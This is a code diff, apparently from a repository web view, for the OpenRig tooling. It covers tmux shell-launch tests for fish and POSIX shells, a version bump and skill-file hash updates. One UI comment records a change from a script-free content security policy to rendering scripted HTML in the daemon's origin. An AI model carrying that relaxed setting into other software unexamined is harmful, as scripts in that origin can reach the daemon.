import { TmuxAdapter, type TmuxFileOps } from "../src/adapters/tmux.js";
|
||||
|
||||
function fixture(fail?: string, scriptPath = "/tmp/launch 'quoted'.sh") {
|
||||
@@ -21,7 +26,83 @@ function fixture(fail?: string, scriptPath = "/tmp/launch 'quoted'.sh") {
|
||||
}
|
||||
|
||||
describe("shell launch transport", () => {
|
||||
it.each(["fish", "nu", "unknown", "pwsh", null])("retains /bin/sh staging when the pane reports %s", async shell => {
|
||||
it.each(["fish", "-fish"])("selects fish sourcing or the older-fish sh fallback before launching (%s)", async shell => {
|
||||
const f = fixture();
|
||||
vi.spyOn(f.adapter, "getPaneCommand").mockResolvedValue(shell);
|
||||
const command = `OPENRIG_HOME='/instance' PATH='/rig/bin':"$PATH" claude --model '${"m".repeat(4096)}'`;
|
||||
expect(await f.adapter.sendShellCommand("pane", command, undefined, { sourceInPane: true })).toEqual({ ok: true });
|
||||
const invocation = vi.mocked(f.fileOps.writeFile).mock.calls[1]![1];
|
||||
const quotedPath = shellQuote(f.scriptPath);
|
||||
expect(invocation).toBe(`if eval 'OPENRIG_FISH_ASSIGNMENT_PROBE=1 /bin/sh -c :'; source ${quotedPath}; else; /bin/sh ${quotedPath}; end`);
|
||||
expect(Buffer.byteLength(invocation)).toBeLessThan(512);
|
||||
expect(f.files.get(f.scriptPath)).toBe(`/bin/rm -f -- '/tmp/launch '\"'\"'quoted'\"'\"'.sh'\n${command}\n`);
|
||||
expect(f.commands.at(-1)).toBe("tmux send-keys -t 'pane' 'Enter'");
|
||||
});
|
||||
|
||||
it("uses only the existing sh dependency for the fish capability probe", async () => {
|
||||
const f = fixture();
|
||||
vi.spyOn(f.adapter, "getPaneCommand").mockResolvedValue("fish");
|
||||
expect(await f.adapter.sendShellCommand("pane", "claude", undefined, { sourceInPane: true })).toEqual({ ok: true });
|
||||
const invocation = vi.mocked(f.fileOps.writeFile).mock.calls[1]![1];
|
||||
const probe = invocation.match(/^if eval '([^']+)';/)?.[1];
|
||||
expect(probe).toBe("OPENRIG_FISH_ASSIGNMENT_PROBE=1 /bin/sh -c :");
|
||||
expect(execFileSync("/bin/sh", ["-c", probe!], { encoding: "utf8" })).toBe("");
|
||||
});
|
||||
|
||||
it.each([214, 215])("respects the input bound at a %i-byte quoted fish staging path", async quotedBytes => {
|
||||
const f = fixture(undefined, "/tmp/" + "p".repeat(quotedBytes - 7));
|
||||
vi.spyOn(f.adapter, "getPaneCommand").mockResolvedValue("fish");
|
||||
expect(Buffer.byteLength(shellQuote(f.scriptPath))).toBe(quotedBytes);
|
||||
expect(await f.adapter.sendShellCommand("pane", "claude", undefined, { sourceInPane: true })).toEqual({ ok: true });
|
||||
const invocation = vi.mocked(f.fileOps.writeFile).mock.calls[1]![1];
|
||||
if (quotedBytes === 214) {
|
||||
expect(invocation).toContain("OPENRIG_FISH_ASSIGNMENT_PROBE=1 /bin/sh -c :");
|
||||
expect(Buffer.byteLength(invocation)).toBe(512);
|
||||
} else {
|
||||
expect(invocation).toBe(`/bin/sh ${shellQuote(f.scriptPath)}`);
|
||||
expect(Buffer.byteLength(invocation)).toBeLessThan(512);
|
||||
}
|
||||
});
|
||||
|
||||
it.each(["pair\\\\backslashes", "trailing\\", "quote\\'backslash"])("keeps a backslash payload on sh without changing its value (%s)", async value => {
|
||||
const root = mkdtempSync(join(tmpdir(), "fish-staging-"));
|
||||
try {
|
||||
const f = fixture(undefined, join(root, "launch.sh"));
|
||||
vi.spyOn(f.adapter, "getPaneCommand").mockResolvedValue("fish");
|
||||
const command = `VALUE=${shellQuote(value)} /bin/sh -c 'printf %s "$VALUE"'`;
|
||||
expect(await f.adapter.sendShellCommand("pane", command, undefined, { sourceInPane: true })).toEqual({ ok: true });
|
||||
expect(vi.mocked(f.fileOps.writeFile).mock.calls[1]![1]).toBe(`/bin/sh ${shellQuote(f.scriptPath)}`);
|
||||
// Execute the selected POSIX payload with a real shell, not a quoting model.
|
||||
expect(execFileSync("/bin/sh", ["-c", f.files.get(f.scriptPath)!], { encoding: "utf8" })).toBe(value);
|
||||
} finally { rmSync(root, { recursive: true, force: true }); }
|
||||
});
|
||||
|
||||
it("keeps the existing sh invocation for a backslash staging path", async () => {
|
||||
const f = fixture(undefined, "/tmp/launch\\\\tail\\");
|
||||
vi.spyOn(f.adapter, "getPaneCommand").mockResolvedValue("fish");
|
||||
expect(await f.adapter.sendShellCommand("pane", "claude", undefined, { sourceInPane: true })).toEqual({ ok: true });
|
||||
expect(vi.mocked(f.fileOps.writeFile).mock.calls[1]![1]).toBe(`/bin/sh ${shellQuote(f.scriptPath)}`);
|
||||
expect(f.files.get(f.scriptPath)).toBe(`/bin/rm -f -- ${shellQuote(f.scriptPath)}\nclaude\n`);
|
||||
});
|
||||
|
||||
it("keeps the short sh invocation when fish fallback syntax would exceed the input bound", async () => {
|
||||
const f = fixture(undefined, "/tmp/" + "p".repeat(240));
|
||||
vi.spyOn(f.adapter, "getPaneCommand").mockResolvedValue("fish");
|
||||
expect(await f.adapter.sendShellCommand("pane", "claude", undefined, { sourceInPane: true })).toEqual({ ok: true });
|
||||
const invocation = vi.mocked(f.fileOps.writeFile).mock.calls[1]![1];
|
||||
expect(invocation).toBe(`/bin/sh ${shellQuote(f.scriptPath)}`);
|
||||
expect(Buffer.byteLength(invocation)).toBeLessThan(512);
|
||||
});
|
||||
|
||||
it("keeps ordinary staging unchanged in fish without sourceInPane", async () => {
|
||||
const f = fixture();
|
||||
const paneCommand = vi.spyOn(f.adapter, "getPaneCommand").mockResolvedValue("fish");
|
||||
expect(await f.adapter.sendShellCommand("pane", "codex")).toEqual({ ok: true });
|
||||
expect(paneCommand).not.toHaveBeenCalled();
|
||||
expect(vi.mocked(f.fileOps.writeFile).mock.calls[1]![1]).toBe(`/bin/sh '/tmp/launch '\"'\"'quoted'\"'\"'.sh'`);
|
||||
});
|
||||
|
||||
it.each(["nu", "unknown", "pwsh", null])("retains /bin/sh staging when the pane reports %s", async shell => {
|
||||
const f = fixture();
|
||||
vi.spyOn(f.adapter, "getPaneCommand").mockResolvedValue(shell);
|
||||
expect(await f.adapter.sendShellCommand("pane", "claude", undefined, { sourceInPane: true })).toEqual({ ok: true });
|
||||
@@ -34,7 +115,7 @@ describe("shell launch transport", () => {
|
||||
expect(vi.mocked(f.fileOps.writeFile).mock.calls[1]![1]).toBe(`/bin/sh '/tmp/launch '\"'\"'quoted'\"'\"'.sh'`);
|
||||
});
|
||||
|
||||
it.each(["bash", "zsh", "sh", "dash", "ksh", "-bash"])("sources in the pane only for a reported POSIX shell (%s)", async shell => {
|
||||
it.each(["bash", "zsh", "sh", "dash", "ksh", "-bash"])("retains subshell sourcing for a reported POSIX shell (%s)", async shell => {
|
||||
const f = fixture();
|
||||
vi.spyOn(f.adapter, "getPaneCommand").mockResolvedValue(shell);
|
||||
expect(await f.adapter.sendShellCommand("pane", "claude", undefined, { sourceInPane: true })).toEqual({ ok: true });
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
{
|
||||
"name": "@openrig/ui",
|
||||
"version": "0.6.3",
|
||||
"version": "0.6.5",
|
||||
"private": true,
|
||||
"license": "Apache-2.0",
|
||||
"type": "module",
|
||||
|
||||
@@ -7,7 +7,7 @@
|
||||
// video → inline <video playsinline preload="metadata"> via /api/files/asset
|
||||
// folder → ArtifactsNavigator scoped to the folder (OPENRIG_FILES_ALLOWLIST-governed)
|
||||
// .html → rendered page in a NEW TAB via ?render=1 (the named net-new opt-in;
|
||||
// served with a script-free CSP)
|
||||
// supports scripted mockups in the daemon origin)
|
||||
// Dead code (ProofImageViewer / TestsVerificationTab viewer / DocsTab) stays dead.
|
||||
|
||||
import { useState } from "react";
|
||||
|
||||
@@ -58,19 +58,19 @@
|
||||
"agent-operated-software/SKILL.md": "9159d26e7884bc5205f8b06adaa65625c7d9c6bef41dc2f307d91da4cc1b424b",
|
||||
"agent-operated-workflows/SKILL.md": "24e54cbfa979999f523516112670618b2926ae5d42c7aa0846c94db214857ea5",
|
||||
"applying-a-permission-policy/SKILL.md": "e8dbd8eec75847bfd382fb06de408c63807171d584237d1b1d7e1104c7ed4acc",
|
||||
"claude-compaction-restore/SKILL.md": "36c9818a57cc6c092b23376e5e21b9776c8f414b886895b59bb1bde339b6d646",
|
||||
"claude-compaction-restore/SKILL.md": "a5148027d1b07cbcbb860a468191b8dbaee4d19469f76091c7306561667493f7",
|
||||
"claude-compaction-restore/reference/SKILL-v1.md": "6af2a889c9c38227fb186897c6e29185f81b215822070b469a6ceeb47734e133",
|
||||
"claude-compaction-restore/scripts/precompact-hook.mjs": "8eb4cccdaec654fca9eacba3676b0418d2bac383649ce31544434c73af8b8772",
|
||||
"claude-compaction-restore/scripts/restore-from-jsonl.mjs": "5584cff4ab36cd843e14c81bd201e4a2f8e498e995abacc4f81ec6c1fc556b10",
|
||||
"claude-compaction-restore/templates/compact-instruction.md": "682c778464517b831902ddc2678c055545899b4751a1d32391ce965d5eb7061d",
|
||||
"claude-compaction-restore/templates/post-compact-restore-instruction.md": "10a5a7e5e052f3aa000a4209f386dc4eb90a3c2bba449ca685f124714f59e47a",
|
||||
"delegating-work/SKILL.md": "54c061d1b28435266952d431765b40f4170581279decfffd3b10839848cd65e4",
|
||||
"forming-an-openrig-mental-model/SKILL.md": "6e9f16191a56f87060326897d98cb3f83f00997799bc654dccc371798306d133",
|
||||
"forming-an-openrig-mental-model/SKILL.md": "3765c0c918988cc13d90e8a6bc91c7f5019fb5532f8c7030bd6d56172f5853ff",
|
||||
"loading-addressable-markdown/SKILL.md": "104dc6a02ae6e2d0eff519387c6839cb09803945b9ee35ec3498af8feaaa8d1e",
|
||||
"loading-addressable-markdown/scripts/resolve-markdown.mjs": "61a6d52c6c94fb1878361d19bdfaeb4524062fc4c483f557ab2f140e516d15f9",
|
||||
"messaging-the-human/SKILL.md": "581372434f27b1994d516e144be1324c7c5981cacf64fef6f09d1a57017faa08",
|
||||
"mission-slice-sop/SKILL.md": "2cdc12b398f6d0fc05361791ec36066c44f1abd0137afd1f4f11a88b37bcc767",
|
||||
"openrig-operating-model/SKILL.md": "53ec4d9c7764f5bc23616885d193b79ddb1be139fd010f4b89f143d39dfdcaa6",
|
||||
"openrig-operating-model/SKILL.md": "8364530a6199f6e2df42b773c35434cb4ecade0ede48e439cd9fc03df4469896",
|
||||
"openrig-operating-model/scripts/compose.py": "f71065de92b1ef4ce3ca78a8bc0cfe07bcf54ed84bb8ec5359d3889674fe385d",
|
||||
"openrig-operating-model/scripts/scaffold.sh": "873fc78d8581e463079db24cfbdef3228b845c1a4c32e0d631234eacb3094be7",
|
||||
"openrig-operating-model/scripts/trace-due.sh": "c56a8b044e624f40972654bc810df623e70303cc5daa4aa06e3ee86b262b7792",
|
||||
@@ -82,11 +82,11 @@
|
||||
"openrig-operating-model/templates/SOP.md": "1eaf0daf4f9bbf0715e6a5aaf0f29f030af5fe8b8a10232488ee97c507afa6dc",
|
||||
"openrig-operating-model/templates/SPEC.md": "f126536daa59cea3f1cfb0898d83c7cdf99f6392f6f155ea64fe55187dd0f5f1",
|
||||
"openrig-skills/SKILL.md": "e5f47e24a4c3cb1afceb1a3a93647313e9c30830aff58faabb5fa57838d1206c",
|
||||
"openrig-user/SKILL.md": "30c0f35ff66c4d4b79557c716f94caa6674c3271e4ac13c233ef36619f8a3bda",
|
||||
"openrig-user/SKILL.md": "b866b2f7fbff98089aeeac33868566b9c8a49f0de0a1d414a8cc73222085a6fd",
|
||||
"orienting-to-an-inherited-seat/CHANGELOG.md": "4d0970e75e5c15b00a48d6a7150376d646257777264fd1b9a191165a8d5a6e84",
|
||||
"orienting-to-an-inherited-seat/SKILL.md": "1721dfb2e66c4f1775b4d5d9a5c12340baa8042c4d26f999f85008f9a186baf3",
|
||||
"orienting-to-an-inherited-seat/SKILL.md": "65300ce0e299cce0148a8bacd51b0475ac1b59cd77a51a9bb2db9d43bda6e208",
|
||||
"queue-handoff/SKILL.md": "d4d7e3e8772886b3771daffd60523b5f79040309b892c8be1afd47d1f7287f7b",
|
||||
"refocusing/SKILL.md": "506fe68da3f127f51aeffdaec1b8859080563395585343e4a211b61328f1fab5",
|
||||
"refocusing/SKILL.md": "9f5b903b26430f60334b6dcaf66009df195c67ecf825437d1883d2a06a90d790",
|
||||
"refocusing/references/refocus.md": "6e71513e82bd815e1506b0be4f9a972eecd3053a8deb06340c10b1d1792489bc",
|
||||
"refocusing/scripts/trace-to-root.py": "c07f70c58e95cdcf3e80f64ee692174303256b1911fdb60cafa2eed67c3599e6",
|
||||
"retiring-and-inheriting-a-seat/CHANGELOG.md": "1756a0a6dadc015e2744b4c39a3e7cd08813d9d421e788e953ac5ad75b064197",
|
||||
@@ -95,7 +95,7 @@
|
||||
"seat-continuity-and-handover/references/apprentice-evidence-toolkit.md": "a50bd7a3107762dbb6accd5d2fb7e058b408b85b09067ac79a7a8af6212234fd",
|
||||
"seat-continuity-and-handover/references/apprentice-successor-seat-cutover.md": "0c865b76c9b0908373d3cf17439ef31b08e20a769c1cef1bea2403d963887840",
|
||||
"seat-continuity-and-handover/references/orchestrator-role.md": "2ddf05125e0bf22e2dc64cb328fcc4bd94fa62eb2fcfd21d75f21c488c72ecaa",
|
||||
"session-compaction-and-restore/SKILL.md": "36a637b1520ff4b0a3ff2594eb4ba93340ff6794692323e95d188981aa007ab4",
|
||||
"session-compaction-and-restore/SKILL.md": "6218ebe601901fc19c3b40a6c29d57c304c82984825595f74b19120754839b63",
|
||||
"software-for-agents/SKILL.md": "c36c6d3ae7484f477f1bd24e8ff72846f6dfbff685aef1e780f6011072a51ac7"
|
||||
},
|
||||
"spec": {
|
||||
|
||||
Reference in new issue
Block a user